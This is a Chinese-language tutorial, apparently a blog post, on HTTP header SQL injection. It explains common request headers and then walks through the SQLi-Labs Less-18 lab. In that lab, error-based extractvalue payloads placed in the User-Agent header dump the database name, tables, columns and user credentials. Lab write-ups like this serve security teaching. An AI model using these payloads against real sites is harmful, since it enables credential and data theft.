服务器怎么发布网站,wordpress简单的工单提交,私人代理服务器,南阳网站建站公司目录 HTTP Header概述
HTTP Header注入
HTTP Header注入概述
HTTP Header注入实例 HTTP Header概述 HTTP工作原理 HTTP请求方法 HTTP报文类型 请求报文#xff08;HTTP Request#xff09;#xff1a;由客户端发给服务器的消息#xff0c;其组成包括请求行#xff08;R…目录 HTTP Header概述
HTTP Header注入
HTTP Header注入概述
HTTP Header注入实例 HTTP Header概述 HTTP工作原理 HTTP请求方法 HTTP报文类型 请求报文HTTP Request由客户端发给服务器的消息其组成包括请求行Request-LIne请求头域Header-Field和请求体Entity-Body。 响应报文HTTP Response由服务器回复给客户端的消息其组成包括状态行Status-LIne响应头域Header-Field和响应体Entity-Body。 请求报文组成 请求报文实例 响应报文组成 HTTP响应报文实例 HTTP响应消息状态码 HTTP Header部分内容 X-Forwarded-For简称XFF头它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件通过修改XFF头可以实现伪造IP)。Client-IP同上。Referer浏览器向Web服务器表明自己是从哪个页面链接过来的。User-Agent使服务器能够识别客户端使用的操作系统浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。Cookie网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。Host客户端指定自己想访问的Web服务器的域名/IP地址和端口号 HTTP Header注入 HTTP Header注入概述 有时候后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理通过SQL语言保存到数据库中 或者 直接提取跟数据库中的信息进行比对 由于sql语言的介入如果此时没有足够的安全考虑就可能导致基于HTTP Header的注入漏洞。 HTTP Header注入的前提条件 能对请求头消息进行修改修改的请求头信息能够带入数据库执行数据库没有对输入的请求头过滤 常见注入类型 Cookie注入 服务器对cookie字段进行获取 验证客户端身份 Referer注入服务器记录referer字段用于统计网站的点击量 User-Agent注入 服务器记录访问者的信息 如浏览器版本 操作系统版本等服务器根据提供的信息来给客户端推送不同的网页 XFF注入一些网站的防注入功能会记录客户端真实ip地址并写入数据库 HTTP Header注入实例 目标靶机SQL-Lab的less-18 典型应用场景服务器获取User-Agent头部字段值并用Insert命令将其写入数据库 注入方式利用Burpsuite抓包在User-Agent头部字段设置注入payload 分析源码发现虽然动态参数没有注入点 但是服务器将HTTP头部的useragent字段插入到数据库中了 于是修改useragent字段值为构造的sql语句 抓包判断注入点 在user-agent后添加一个单引号 服务器响应 语法有错误 并且也确定了sql报错有回显 服务器的数据库报错函数没有被屏蔽 能判断出该字段存在注入点 这个单引号与服务器端固定sql语句‘uagent’第一个单引号结合 第二个单引号引发的语法错误 添加注释也报错 原因 注释把后面所有sql注释掉了 这样就造成了 VALUES($uagent 括号引发的报错 如果加上也是不行的 插入数据量必须是三个值 需要额外添加两个值 无报错信息 说明现在就可以在这个位置设置payload了 在第一个单引号后面设置 源码中是通过insert方式插入数据 所以不能使用union 可以使用报错的方式进行构造sql语句 爆数据库 and extractvalue(1,concat(~,database())),,)# 成功爆出当前数据库 爆当前数据库所有表 and extractvalue(1,concat(~,(select table_name from information_schema.tables where table_schemasecurity limit 0,1))),,)# 爆user表所有字段 and extractvalue(1,concat(~,(select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1))),,)# 爆字段值 and extractvalue(1,concat(~,(select concat_ws(,,id,username,password) from security.users limit 0,1))),,)#